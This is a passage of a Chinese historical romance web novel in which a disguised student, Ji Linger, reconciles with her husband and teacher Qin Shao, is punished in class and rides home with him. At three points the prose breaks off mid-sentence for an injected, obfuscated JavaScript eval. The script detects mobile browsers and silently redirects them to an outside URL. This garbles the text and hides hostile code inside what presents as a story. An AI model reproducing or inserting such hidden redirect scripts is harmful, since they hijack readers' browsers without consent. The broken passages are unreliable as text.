视线交错的瞬间，两人皆忘了说话，又或不知该从何开口。 季灵儿率先收眼，执笔蘸墨在新铺开的纸上落字。 秦劭朝前踱两步，停在距桌案三尺处，低沉声音裹着凉意飘过来，是两人几日来说的第一句话：“可还疼吗？” 季灵儿写完一整句话，重新抬头看向他：“疼。” 仅仅一字，掷地有声，似乎想看他是否真如秋棠所说那般心疼她。 她意料之外地没逞强说不疼，秦劭语气软下来：“久坐久站对伤处不好，莫要写了，早些休息。” 季灵儿立在原处，眸光楚楚道：“后日交不出要受罚的，先生能通融吗？” 她试探的太明显，秦劭想不在意都难，在回答问题之前，他更想弄懂另一桩扰他几日心神之事。 “季凌，你可有后悔嫁我？” 他总爱问突兀的问题。 季灵儿被问愣住了，嘴角噙着错愕的笑意，她自然后悔，悔的肠子都青了。 本就心情烦躁，经此一问，冲动之下脱口道：“我说后悔，您能休了我吗？” 似是得了意料之中的答案，秦劭回的十分平静：“现在不能。” “日后呢？”她紧随其后追问。 “如若你想，可以同我和离。” 季灵儿没想到他答应的这般轻松，握笔的力道一滞，笔尖重重戳在纸上。 又废一张。 秦劭眸光坠落其上，被墨色晕染得更加幽深。 错误的开始引出许多不受控的事端，各归各位对彼此都好。此乃他深思熟虑后的决定。 如此想着，沉声开口：“先前是我不该，失了分寸。” 季灵儿哪里知道这些，只以为他在为不经同意看她碰她一事道歉，毕竟是先生，他既主动低头，做徒儿的也不好得理不让人，秉着大人有大量的原则，道：“知错就改便是好先生，弟子也为言语冲撞向您道歉。” 她顺坡讲和，秦劭在意的却是话里的两道称谓。 先生，弟子。 好轻巧的语气，轻而易举将两人间的关系拉回最初。 秦劭重重挥出的一拳，顷刻失了着力点。 寻不到根由的情绪生出细长根须，紧抓沃土，滋生万千涩然。 27. 夫君 烛花爆开一簇轻响，惊破凝滞的沉默。 莫名的情绪连秦劭自己尚未弄明白，何况季灵儿。 她想的单纯，一面劝自己大气些，主动缓和局面，一面揣着小心思，团起被墨迹洇开的纸，张口打破僵局：“先生尚未回答我，可以通融吗？” 心说自己都如此宽容了，对方总该让一步，放她一马吧。 “不可。” “......” 她早该知道！向来恪守规矩的人怎会心软松口。 泄愤地抛开纸团，低头抚平新纸，看也不看他，没好气道：“先生若无旁事，早些去歇吧，我要继续做功课。” 秦劭望着她低垂的眉眼，忽觉满室烛火都黯了颜色。 想说的话已说完，本该就此转身，脚下却也似生了根，挪不动分毫，任烛影晃动他眉宇间难辨的情绪。 良久，他为自己的心软找了个台阶：“不可通融偏私，但身为夫君，明日我可以帮你写。” 季灵儿不敢相信自己的耳朵，抬眼寻求确认：“您说什么？” 秦劭没有重复，食指悄然扣在扳指上，压着心头莫名，望进她星光熠熠的眸，随即，他听见自己的声音。 “那么，是夫君还是先生？” 季灵儿眼底飞快掠过狡黠，嘴角却绷得紧紧的，故意拉长了声音：“唔......先问问夫君，当真会帮我写吗？” 流光划过杏眸时，心中的涩然悄然化开，秦劭松了蜷起的指节，点头道：“当真。” 她终于笑出声来，如春回大地，所到之处寸寸流淌欢欣，笔尖在纸上轻快勾下两字，举起给他瞧。 秦劭挪步近前，墨色淋漓，湿润润的“夫君”二字映入眼帘，甘霖滋润枯藤，嘴角勾起满意的弧度。 “现在可以去休息了？” 目送她回内室，秦劭缓步往外走。 季灵儿一向奉行礼尚往来，得了好处，自然要投桃报李，去而复返，从帘子里探出脑袋，眨眨眼：“您要歇在这屋吗？” 秦劭脚步一顿，回头望她，眼中多了一抹笑意：“你愿意？” 脸颊染着淡淡的绯红，倔强与他对视：“省得您在厢房睡不好明日反悔。” ... 晨光熹微，季灵儿又是在秦劭怀中醒来的，未睁眼先感受到贴在后背的坚实，绕在身前的手掌被她两只手紧紧握着。 她不禁想，自己睡觉真有如此不安分么？ 虽非第一次，仍觉羞臊难当，迅速放开，又好奇地端起，掌心相贴比较，他足比她大出一圈，骨节分明，温暖厚实，只需轻轻一蜷便能将她的手完全包裹。 指尖轻轻往上，摩挲他指腹薄茧，应是常年拨算盘留下的。思及此，反手捻着自己的指腹，尚算滑嫩，只不知天长日久，是否也会如他一样磨出茧子。 出神间，那张大手动了，松松弯曲，刚好将她的手拢住，同她所想无差。 秦劭昨夜便交代阿吉今日不去商行，寅时醒过一次，彼时小姑娘下巴抵着他小臂趴睡正香，绣被盖一半，胳膊横在他胸前，指尖将将垂在他外侧肋骨处，连累他上半身不曾盖被。 捏着她冰凉的指尖小心翼翼将人塞回被子里，她在睡梦中挣开，反握住他的手指，藏宝似的往怀里带，呢喃着不清不楚的梦话。 手掌被带着压在她身下，稍一动便擦到温软的峰峦，呼吸骤然沉下去，反在身体里爆发出更强的激流，汹涌往下蹿。 比她肌肤的温度滚烫数倍。 彼时强自克制的反应，此刻随着她的小动作升起蠢蠢欲动的重燃之势。 于是身体先于意识苏醒，握住了不安分的葇夷。 仅仅为了制止她纵火，秦劭如此告诉自己。却在感觉到她有抽手之意时，收紧力道，将其牢牢桎梏。 “您醒了吗？”季灵儿想侧头看他，刚一挪动，便觉他全身绷紧，手臂箍得她动弹不得，拂在耳后的呼吸乱了节奏。 “别动。”他声音喑哑，似未完全清醒，又似被某种情绪纠缠着难以自拔。 “为何？” 秦劭没说话，阖眸平复身体的躁动。 季灵儿等不来回应又逃不脱，无奈再度唤他：“先生？” 横蹿在身体里的热流，被这道称呼扰乱，骤然迷失方向，灭不掉也烧不旺，积聚在某一处，进退维谷。 理智腹背受敌，隐忍着难言的煎熬再次作出让步，纵容身体自作主张开口：“别唤先生。” 季灵儿哪里晓得身后正有一场天人交战，以为是强调帮忙之事，遂颇为乖顺地改口：“夫君？” 她一向能屈能伸，有求于人声音格外甜糯，拉扯出一丝尾音。 秦劭喉结狠狠滚了一下，他并非此意，但已来不及解释，火星迸溅入干柴堆，轰然炸开破竹之势，冲断阻塞，血液逆流到头顶。意识被热潮掀得摇摇欲坠，浑身肌肉颤动，他几近失控地收紧手臂，将人更深地揽进怀里。 不可遏止地贪恋起她的气息和温度，渴望以此平复激荡，却适得其反。 他不能动，不敢动，每一寸肌肉都守卫似的僵硬在原处。 季灵儿懵懂察觉后腰异样，灼烧感蔓延周身，脸颊涨出大片霞云，无措地攥着拳头，任对方将呼吸紊乱地洒在后颈。 如此僵持良久，秦劭终于调理好呼吸，紧绷的臂膀泄了几分力，仍未放开她，脸庞深深埋在她颈窝处。 自年少入商行，同一帮老少爷们共事，难免耳濡目染些许荤腥笑话，他对胭脂红粉不上心，记不清何时从知晓人事，明白晨间欲.望乃自然而生，自然消弭，不曾专门压制，更不曾纵情发泄。 这些年淬炼出的沉稳自持，顷刻间溃堤，实在始料未及。 生平头一次，决定自己狼狈极了，难堪极了。 “抱歉。”沉重的两个字，是他能想到且说出口的全部。 “你......我......”季灵儿未经人事，方才只是凭借周身感觉揣度一二，当下是真真切切感受到他的窘迫。 他身上出现不同寻常的情绪，且是这般不堪见人的，即使她身后的威胁仍僵持未退，季灵儿仍意外觉出几分放松，像是柜台上最值钱的商品出现瑕疵，变得平凡，不再令她望而却步。 她会有底气走进，抚摸，向掌柜问价，甚至拿捏它的瑕疵杀价。 相贴的温度挪走一寸，秦劭感受掌心里的指尖轻轻动了动，似试探，又似无心之举，勾得他的心弦紧绷。 小姑娘定然更惧怕和厌恶自己了。 “我明白的。”她整理好语句，鼓起勇气开口，声音轻柔无波。 秦劭缓缓睁开眼，眸色深沉如墨，依旧无话。 季灵儿伸出另一只手，轻轻拍在他紧绷的手背上，如同他曾经安抚自己那般，接着道：“人都有难堪的时候，我不会笑话你的。” “......” “咱们做个交易如何？” “嗯？” “我把这事忘了，您也把那日看我…的事忘了。” 当日被他觉得难堪，如今他也在她面前暴露难堪，算是扯平了。 秦劭哑然失笑，“好。” 随后又道：“可那日是你生我的气，这交易听着总是你吃亏。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379891|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季灵儿纠正：“一码归一码，我是让您忘掉，但您不经同意看我…这事，我依旧是生气的，以后绝不能了！” “好，没有以后。”秦劭应的颇为诚恳。 然而他一垂眸，视线恰好落在她衣襟松散处，呼吸带着瓷白雪团起伏的同时，嚣张牵引他的视线。 食言仅在瞬间。 秦劭很快意识到，欲.望乃最难驯的猛兽，方才的失控仿佛只是猛兽初露獠牙，它蛰伏在血肉深处，等候另一个时机。 愈克制，愈汹涌。 他想让目光停驻，又不愿轻易食言，遂开口问：“我，可以吗？” 询问中带着令二人同时讶异的乞求意味。 季灵儿怔住，不知他问什么，又隐约明白，紧张到结巴：“什，什么？” “亲你一下。” 话出口他却先被吓到，几乎是本能地松开手。 如此无礼的要求，她应当拒绝的。 转念想，她现在顶着宋芮宁的身份，秦劭明媒正娶的妻子，难受至此，亲一下实在情理......只是亲一下而已。 心中快速计算过得失，眼睛一闭，颇有视死如归的气势：“如果你实在想的话。” 准备抽手起身的秦劭被这句意料之外的肯定定住动作。 “要亲就快些，”沉寂的空气暧昧又危险，季灵儿止不住心慌，抱着早亲早完事的心态催促，末了放狠语气补充道：“只许亲一下！” 话音未落尽，身体再度陷入坚实的怀抱，一记柔软的吻落在耳后，似飞鸿踏雪，轻而无痕，留下的细微酥麻亦可忽略不计。 她没有过亲吻的经验，但直觉不该如此草率，倒使她方才的戒备显得有些小题大做。下意识摸了摸耳后，疑惑脱口而出：“就这样？” 秦劭问出口的时候便后悔了，浅尝辄止的一吻是他克制后给自己的奖赏，经此一问，野火燎原。 细细密密的亲吻落下，在脂玉一般的颈间游走，顺着耳垂蔓延至脸颊，指尖在凸起的锁骨上描摹线条。 动作温柔到诱人沉溺，季灵儿只后悔祸从口出，忍着颤栗抓他手腕。 “多了。” 的确多了，秦劭自知过分，在泛红的颊边上逗留一瞬，随即退开。 季灵儿胸口起伏，眼神慌乱瞟着，庆幸背对他，不会被看到。 秦劭亦在庆幸，不曾被她看到此刻情.潮翻涌不得控制的模样。 压抑不得，只好在寒冬腊月冲凉克制。 … 小夫妻房中动静最受关注，“大爷房里一大早摇铃叫水”的消息转眼传到正院，老夫人正与几个儿媳同坐说话。 老夫人原还为二人分房多日发愁，寻思今日找机会探探口风，说和一番，听闻此言脸上的愁云霎时散了大半，眼角眉梢俱是欣慰：“新婚燕尔，原该如此。” 说罢吩咐人煮药膳送过去。 年关一通闹，二房三房没心思同乐，皮笑肉不笑地附和几句，姚氏表不出面上功夫，冷着脸捻茶盖，最后一口不饮放下。 “自凌烟出嫁，母亲一直担心宗劭的亲事，如今终于得了心头好，母亲这下该安心了。” 云氏听出她话中拈酸，以帕子掩住唇角的弧度。 老夫人不谙此层面，但听得凌烟，面上笑意僵了一瞬，随即恢复如常，浅应道：“如今看来，他们是各有福缘。” 姚氏笑说：“说来也巧，前儿个遇见二姑姐，说凌烟回来省亲了，不日便到，还说要带着来向您问安呢。” 老夫人诧异看向吴嬷嬷：“烟儿回来了？怎得未听二丫头传话来。” 28. 认罚 药膳送到大房院里时，季灵儿正托腮趴在暖炕上，边口述边看秦劭执笔挥毫。 知晓来意，眼尾的笑意瞬间折下来，淡声打发来人：“搁着吧。” 秦劭反而弯起唇角，对丫鬟道：“替少夫人谢过老夫人。” 丫鬟欠身回去复命，季灵儿迁怒似的横他一眼，“做什么替我说话。” “身为夫君，理应替娘子周全关系。” 季灵儿有求于眼前的“夫君”，不好说反驳的话，岔开话题道：“快些写，莫要借机偷懒。” 粉鼻儿微皱，秀眉横蹙，端的是一副强横模样。 秦劭挑着剑眉静看不动，笑意无声漫过眼底。 她只好道：“夫君，快些写。” 季灵儿觉得他实属故意，代笔没一个时辰，已借由停笔数次，等她唤“夫君”才肯继续。 可细究起来，秦劭并未提过这要求，每一次停笔时机亦十分自然，最初的一声“夫君”是她恐他反悔，心急所唤。 见她发呆，秦劭开口提醒：“我一直听着呢。” 言下之意是她并未往下念，是以迟迟不下笔。 季灵儿收了怪异的神思，继续口述下文。 半日下来，除喝药膳一事，秦劭对她称得上百依百顺，连她故意在篇章结尾处说错一大段，捉弄他重写也不恼，反而端着无比正经的神态道：“娘子既不满意，为夫重来便是。” 随后提笔润墨，字迹比先前更添遒劲。 “……”反而是作弄人的魁首先红了脸。 午膳前季灵儿起身查阅成果，才发现他竟一直临摹自己的笔迹，有八成相似，剩下两成，是灵动意趣与沉稳锋芒的区别。 饶是如此还能跟上口述速度，对此她既感且佩：“左右是您自己看，何必费心思临摹。” 秦劭将笔搁在笔山上，抬眼道：“若旁人看出端倪检举你找人代笔，你是认罚还是不认？” 季灵儿嘟囔道：“他们不见得是亲笔写的。” “哦？”秦劭饶有兴趣地等着听下文。 她并不上当出卖同门，反歪头挑着眼尾问：“先生忍心罚我吗？” “忍心。”他说。 季灵儿哼了哼，小声呢喃：“还是夫君好，先生坏透了。” 秦劭眉梢轻扬，面上掠过浅笑。 ... 待秦劭午憩，季灵儿借口去花园消食，带着清早回来当差的玉秀到僻静无人处问话。 “你同秦勉认识？” 为避人耳目寻的清静处，恰是除夕夜玉秀与秦勉纠缠的梅林，玉秀心虚更甚，紧张得险些话都说不全：“您为何如此问。” “你走的那日，他向我问起你。” “三少爷他......可有说旁的？” “没有。” 玉秀沉默许久，经季灵儿再三催促，才开口道出实情：“三少爷见过我家小姐。” 季灵儿瞳孔骤缩：“什么！” 玉秀简略讲了秦勉与宋芮宁在诗会偶遇结缘的过往，那段时日秦勉几乎一直宿在曹县，递诗，传信，想方设法与宋芮宁相见。 宋芮宁不理他，他竟找上宋员外扬言迎娶，宋员外知他是秦家三少爷后欣喜应承。 “后来秦家当真来人上门，却不知为何换成为大爷求亲。”玉秀说完低垂着头，不敢看她。 对宋员外而言，女婿换成秦劭，无异于天上掉馅饼砸在跟前，捡起来发现是金子做的。 “你家小姐究竟为何不愿嫁？” 玉秀摇头。 身为贴身丫鬟，玉秀不可能不知，应是不能启齿。 季灵儿眼下顾不上追究这些，又问：“回家前你魂不守舍，是因为秦勉找过你？” “是。” “说什么了？” “三少爷逼问奴婢小姐的下落。” “你告诉他了？” “奴婢不知小姐去了何处。” 问一句答一句，简直要将季灵儿急坏了，“他都同你说了什么，你一口气说完。” “三少爷没说什么，原是拿向大爷拆穿您的身份要挟奴婢说出小姐下落，但奴婢实在不知，后来......”玉秀咬唇顿了片刻，终是难以道出实情，只道：“后来他似是又想通了，说将错就错甚好，他日若寻回我家小姐，他还有机会迎娶心上人。” 玉秀有隐瞒，但说出口的皆是实情，季灵儿未曾怀疑，只觉得荒唐可笑。 若宋芮宁当真兜兜转转一场回来嫁给秦勉，那她这些日子的遭遇算什么？他人棋局中的笑柄么？ 指尖发冷，心底燃起一股无名火，无处宣泄，更气自己贪财误事。 是非之地不能久待，她想。 ... 翌日。 架子床帷帐大敞，晨光柔和映亮屋内，季灵儿翻身朝里，将绣被拉到头顶，挡住扰人清梦的光线，却遮不住床榻前的三催四请。 “尚早呢，再睡一刻钟。”烦躁的嘟囔闷闷传出。 耳边清静片刻，换来另一道清冷声音：“你若再拖，我便改主意不允你去了。” 打中七寸的话比声音更冷，季灵儿倏地掀开被子，忿忿道：“您不能出尔反尔！” “是你懈怠。”秦劭面不改色纠正。 “我起还不成嘛，”季灵儿语气慵懒，咕哝着坐起身，揉开惺忪睡眼。 磨磨蹭蹭挪到榻沿，忽然想到什么，仰头对身前穿戴整齐的人道：“我若与您同车而去难免被人瞧见，您先行一步，我收拾妥当自行过去。” 秦劭挑眉看她，墨眸深邃，似能看透人心。 季灵儿被他看得心虚，赶忙补充：“我保证不会重新睡下，更不会误时辰！” 真真是此地无银三百两，秦劭唇角微不可察地勾起：“此话当真？” 季灵儿重重点头。 秦劭不再多言，转身离开。 确认他走远，季灵儿如释重负地倒回榻上，算算时辰，能再睡一刻钟。 然而她忘了先嘱咐玉秀看时辰唤她，这一闭眼，直接睡过了头。 匆忙赶到学堂时，堂前桌案上的线香恰好燃尽最后一缕青烟，香灰坠落，季灵儿不偏不倚撞进秦劭不掺任何情绪的目光里。 燃香计时由来已久，弟子迟到，惩罚力度用一炷香燃烧长短计较，她整整迟了一炷香，意味着不仅要罚站，还得挨手板。 季灵儿喘着气站定，发髻微乱，衣袂沾尘，可怜兮兮地望着他，试图用眼神求饶。 秦劭身姿挺拔立在讲堂前，面色平静如常，指尖轻叩桌沿，一声，两声，在等她开口。 她读懂了，他正履行承诺，拿自己当一个再普通不过的弟子。 咬着瓷白的牙开口：“弟子知错。” “可认罚？” “认。” 秦劭满意颔首，拿起戒尺点在案上，示意她上前。 十戒尺，次次精准落在掌心，声声清亮，丝毫未因他们同床共枕的关系留情。 掌心火辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379892|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣地疼，小姑娘一声未吭，结束后蜷起泛红掌心，自觉转身往讲堂后方走。 倔强背影落在秦劭眼中，涌动起细微暗潮，他握着戒尺的手紧了紧，复又松开，收回视线。 讲堂后方已经站了三个误时辰的师兄，贴心地给小师弟让了个位置。 课至中途，秦劭宣布进行突击考核，检验年前所学，内容为算数，鉴货，谈判三项。 算数与谈判季灵儿算得上擅长，只鉴货一项有些作难，各类珍宝的特征与鉴别诀窍乃休假前新学，本就不牢固，近一月受替人成亲之事影响，根本无暇温习功课。 且她非出身富庶，无珍宝古玩可供日常熏陶，识货经验远逊于同门，凭直觉辨出两样珍品，剩下三样模棱两可。 苦闷之际，不觉抬眼望向秦劭，这人日日同她相处，前连半点考核的口风都不透露，实在可恶！ 恰逢秦劭目光扫来，两人视线在空中相碰，他不必费力便读懂她眼底的愤慨埋怨，他似笑非笑地垂眸，手中的茶盏轻轻转了个方向。 季灵儿腹诽着收回视线，悄悄团了个小纸团砸向斜前方的云衡，引他注意，眨着眼睛求助。 云衡刚对一个口型，旁边的梁宸扯着嗓子道：“师父，季凌作弊！” “......” 目光齐刷刷聚焦在季灵儿身上，她脸上火辣辣地烧，恨不得当场上去给他一拳。 秦劭声音沉静：“各自专注，季凌，你上前来。” 她磨磨蹭蹭起身过去，路过梁宸时泄愤地踹在他小腿上。 “季凌！” “季凌。” 梁宸和秦劭的声音同时落下，一道愤怒，一道冰冷。 梁宸觑见师父神色不悦，知趣噤声，等着看她受罚。 “可否答完？”他问。 “没有。” “拿到案前继续。” 季凌气得牙痒，仗着背对众人，壮起胆子瞪他，恨不得拿目光在秦劭身上戳出几个洞来，秦劭垂眸翻书，权当看不见她的胆大妄为。 带着情绪，季灵儿原本拿手的谈判一项也发挥寻常，考核结果惨淡。 铁面无私的秦劭目光扫过连她在内的几名弟子，道：“考核未达乙者，抄写《货殖百鉴》一遍，罚扫学堂三日。” ... 波折一日总算捱到散学，季灵儿心力交瘁，过去一年她犯错的时候数不胜数，先生态度与往日无差，可从未有过今日这般憋屈，说不清因由。 师兄中有人提议相约如意楼小聚，推辞之言到嘴边，想到回去还要面对秦劭，改主意应下。 几盏酒下肚，气氛渐酣，师兄们聊得热络，季灵儿亦将烦忧抛诸脑后。 “你们说，咱们师父那般严肃的人，新娶的师娘会是什么样？”不知谁将话匣子引到此处。 “定然是知书达理的大家闺秀，否则怎入得了师父的眼。” “我倒觉未必，”另一人接话，“师父那般闷性子，合该配个活泼些的，不然日子多无趣。” “这你们便不晓得了吧，师父娶的是我们县里宋员外家的小姐，从前经常出入雅集诗会，是个小有名气的才女。”说话的是曹知祥。 众人啧啧赞叹，季灵儿听着他们对“自己”的猜测，暗笑不语，自顾自地斟了杯酒。 有人注意到她的反常，笑问：“小师弟素日最喜拿师父之事下注，今日怎得如此安静？” 季灵儿抬眸一笑，酒意微醺道：“在想日后如何躲懒逃学。” 29. 撞破 大家只当她为今日受罚烦闷，调笑着安抚几句。 忽有人一拍桌案道：“对了！云衡家中与师父有亲，应当见过吧？” 数缕目光齐刷刷聚来，云衡收了盯在季凌身上的视线，抿着唇摇头，只说：“不曾见过。” 季灵儿疑惑地抬眼看他，转念想，孤山上的一面的确算不上见过。 云衡不知她心中所想，迎着目光笑起来，笑意比盛夏的日光炽烈，灼灼映进她眼底。 “你少吃些酒，醉了我可不背你回去。” “用不着，我酒量好得很。”季灵儿被他感染，也扬着脸笑起来，挑衅道：“要不要比比？” “我可比不过你。”云衡在她跟前从来只有认输的份，转问：“今日听你说不宿在叠翠园，那在何处落脚？” 叠翠园乃学堂所设之地，因依傍青翠山林而得名，原是一处幽静别院，被商行借用，作开堂讲课之用。 众弟子来自河东府各县，因每日往返不便，或投宿亲戚，或在园中厢房留宿。 叠翠园与孤山各处吉安一端，遥遥相对，季灵儿不便回清心庵住，去年一直留宿园中，因而有云衡此问。 “我宿在亲戚家中。”季灵儿道。 云衡疑惑：“不曾听说你在吉安有亲戚。” 季灵儿不欲他探究，便说：“我从前也不知你是云家小少爷啊。” 云衡一听翻旧账瞬间认怂，“我纯粹想知道你住何处，方便寻你。” “我借住的亲戚家情况复杂，不方便外人上门，左右咱日日在学堂见，不必特意寻我。” 正说着，大师兄林起打断二人：“知你二人关系好，但总晾着大家伙说私话实在不像话，罚酒罚酒......云衡你今日可没少漏酒，给他满上！” “哎，云衡你总盯着小师弟做什么，莫非你俩有断袖之癖？” 哄闹推搡，又是一阵热闹。 一坛又一坛佳酿见底，月色渐浓，众人皆现出醉意，说话愈发失分寸，荤话玩笑不断，季灵儿听得面红耳赤，起身欲告辞。 “师父从前有过一桩婚事，聘礼都下了，不知为何退了婚。”不知是谁的一句，让她滞了动作。 季灵儿错愕立在原地，这事她从未听人提起过。 “小师弟怎么了？”林起抬头问。 “人有三急，”她随口一应，追问：“为何退婚？” 那人哈哈一笑，道：“看来三急也抵不住小师弟听乐子的心急。” “的确心急，你且快说！”季灵儿催促。 “我也是听说，那一阵总有传言说秦家大爷是个暴戾严苛的性子，丝毫不懂怜香惜玉，惹得未过门的娘子畏惧，哭闹着退婚。风声只传了一阵，许是被人压下来，没人再提了。” 季灵儿再问其他，无人知晓，云衡亦摇头说不知。 话题终了，众人眼瞧时辰不早，纷纷起身离开，走出雅间，正撞见从隔壁出来的秦劭，身后还跟着几位商行当家和掌柜，看样子刚结束应酬。 “师，师父......”众人慌忙行礼，声音参差不齐。 面面相觑，每一张醉意醺醺的脸庞都写满尴尬，方才他们声音不小，指不定被听了多少去。 秦劭目光扫过众人，在季灵儿脸上停留一瞬，淡淡道：“玩得可好？” “甚好，甚好......”师兄们支支吾吾地应答，而后纷纷找借口仓皇离去。 云衡扯了把站在原地不动的季灵儿，好心道：“我送你回去。” 季灵儿瞥了秦劭一眼，见对方面无波澜，似乎并无表示，遂道：“那就有劳师兄了。” 秦劭目送她跟随云衡下楼，半步不停，更不曾回头。 出酒楼经夜风一吹，季灵儿恍然觉得酒意上涌，脚步虚浮地晃了晃，险些自己将自己绊倒在台阶上，云衡眼疾手快扶住她的胳膊，“小心些。” 她嬉笑道谢，视线虚飘，瞧见他裸露出的半截手腕上，系着她送的红绳。上下打量一番，中肯道：“好看是好看，似乎不太搭你贵公子的气质。” “我觉得很搭，我很喜欢。”云衡又用灼热的目光看她。 季灵儿不由想起席间，师兄们缠云衡饮酒时打趣的话，怔怔问：“云衡，你莫不是喜欢我吧？” 扶在她胳膊上的手骤然收紧，力道透进衣衫，捏的她痛呼，云衡惊慌撤手，憋红脸说不出完整话。 季灵儿揉着痛处噗嗤笑出声：“玩笑罢了，瞧给你吓的…不过你脸红得跟这酒楼灯笼似的，真有趣。” “有趣？”云衡不明白这算何形容。 “嗯，你一直都很有趣。”季灵儿染了醉意，歪着脑袋看他，眸光有些涣散。 夜风钻入袖口，凉意顺着臂膀攀爬，消不掉云衡满腔炽热，摩挲着着腕间红绳，难耐的悸动冲破羞涩，郑重又拘谨地开口。 “那你，喜欢我......这样吗？” “喜欢啊，虽然有些傻，但总逗我开心，有趣的事物我都喜欢，”她笑弯了眼，话音自然轻快，杏眸像藏了星子般忽闪着，视线却早已越过他，飘向身后某处。 那里站着一个身披狐裘的人影，夜色下他的轮廓愈发清峻，目光幽深似寒潭，仿佛将周遭的灯火都吸纳入其中。 他傲立于风中，未语，也未动，可季灵儿总觉得看不真切。 所以她很努力地聚焦视线，努力看清他脸上的情绪，却被灯笼的光影晃花了眼，轻轻晃了晃脑袋，人便不见了。 笑意渐浅，嗓音微醺。 当真有些醉了，她失神地想。 云衡顺着她的目光回头，只见到空荡的街面与渐熄的灯火，将她扶得更稳了些，低声道：“还是我送你回去吧。” 季灵儿刚想拒绝，远处驶来一驾马车停在二人身旁，车夫道奉命接季公子回府。 只是普通车架，其上未挂标识，再看身边人，显然也颇为意外，云衡不放心道：“你家主人是谁？” 马夫看着季灵儿回道：“昨日为季公子代笔之人。” 季灵儿了然，别了云衡踏上马车。 车帘落下，隔开两片天地，她透过帘缝回望，云衡仍伫立原地目送自己，身影渐缩成一点微光。 “喜欢他？”车内的另一人开口了，声音轻缓如风，好似寻常关怀。 季灵儿回身，看向倚着车厢的秦劭，车内未燃灯笼，唯有月光自帘隙洒落，在冷峻的侧脸上洒下投影，帘子因风摆动，他的脸时明时暗，眉眼一直隐在暗处。 车厢内弥漫着酒气，混着松木香气的那部分，源于他。 秦劭同样看不清她的神色，是以等待答案的过程更加漫长，磨得他有些烦躁，追问：“怎么不说话？” “在思考您说的是哪种喜欢。” “你对他是哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385314|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种？” “热烈鲜活，无忧无虑，满身少年意气时常会显得憨傻，看着便觉有趣，相处轻松自在，会令人欢喜。”季灵儿如学堂问道般认真回答他。 昏沉中，秦劭生出她在把自己当作云衡吐露心事的怪异之感，后悔有此问，也不太想再往下听。左手抵着白玉扳指转动，玉色与月光相映生寒。 须臾，季灵儿落下叹息：“我喜欢他的有趣，就像喜欢罕世珍品一般，因为那是我没有，也买不起的......我很羡慕他。” 自知晓云衡身份那日，她便理解了云衡身上纯粹的热忱从何而来，原是生来便烙在骨血里的东西，她这样的人，注定不会拥有。 马车转了方向，月光随之斜移到她身上，照见她眼底怅然。 “季凌。”秦劭指节微蜷，扳指停转，语气也轻了几分，“你同样是珍品。” “是么，那我可要将自己标个好价码。”月光在她弯起的眸子里碎成粼粼波光。 “你并非商品，为何要标价？”秦劭不喜她这般将自己贬低成可买卖之物的形容。 “我当然不是要卖自己，凡事有标尺才好区分差别，标了价码才好看出长进。您今日不也拿甲乙丙丁评定我们的优劣嘛？” “我评的是课业而非人。” “可您罚的是人。”她瘪着嘴，一副委屈情态，“我手心到现在还疼呢。” 说罢作势伸出去，不管他是否瞧得见，“先生罚我抄书，我疼得抄不了。” “......” 就知道小姑娘撒娇是没安好心思，原在这里等着他。 红痕早已消退，秦劭凭着记忆，伸手覆上戒尺落过的位置，轻缓揉搓。 粗粝摩挲细腻带起痒意，下意识往回缩，小拇指被他指腹勾住，缠绵滞留在黑暗中。 在她将要收走最后的触碰时，秦劭低声开口：“不是说疼么，我替你揉揉。” 这下她没理由再躲，乖乖把手送回去，痒意很快变成温暖的包裹，从掌心开始燃烧，融化她身上每一寸凉意，顺着血脉蔓延至心口。 秦劭：“离太远了，胳膊架在半空很累，坐过来些。” 车厢并不大，但她还是挪了挪身子，直到肩头轻抵着他的，交握的手臂自然垂落，搁在他膝上。 他似乎忘了要替她揉，她也忘了把手送过去的用意，两人静坐无话。 车厢太昏暗，亦太寂静，醉意汹涌，季灵儿眼皮开始发沉，“我困了。” “睡吧。”他只说了这两个字。 狭窄的车厢不足她舒展四肢，换了几个姿势，最后借黑暗靠进他肩窝，“这样可以吗？” “嗯。” “只眯一小会，到了叫我。” “好。” “一定叫我，我还要抄书。” “......好。” 须臾寂静，秦劭以为她睡着了，却听见极轻地一声唤：“夫君。” “嗯？” “可否再帮我代笔一次？” “......” 小姑娘聪慧，凡事一点即通，譬如只尝过一次甜头，便对利用他躲懒一事驾轻就熟。 “行不行嘛？”他久不答话，季灵儿心中没底。 “行。” 计谋得逞，季灵儿放下心来，安稳蜷在那方寸间的暖意里，意识沉入薄雾，呼吸渐渐绵长。